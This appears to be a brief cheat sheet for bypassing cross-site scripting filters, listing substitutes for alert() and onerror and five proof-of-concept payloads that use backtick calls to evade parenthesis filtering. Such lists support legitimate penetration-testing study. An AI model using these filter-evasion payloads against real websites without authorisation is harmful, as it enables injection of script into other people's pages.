XSS Bypass

if You Are a Beginner then First Clear the Basic Concepts .

• alert() Alternatives

   1)Use confirm() Not alert()
   2)Use prompt() Not alert()
   3)Use console.log() Not alert()
   4)use eval() Not alert()

• onerror Event Handler Alternatives

   1)Use onload
   2)Use onfocus
   3)Use onmouseover
   4)Use onblur
   5)Use onclick
   6)Use onscroll   

• Note:- if () get filtered then Use `` Rather then () , Some Examples Are Below.

   1)<script>alert`1`</script>
   2)<img src=x onerror=alert`1`>
   3)<img src=x onerror=prompt`1`>
   4)javascript:prompt`1`
   5)javascript:alert`1`

Resources

• 1:-Portswigger

• 2:-OWASP

Twitter:Fani Malik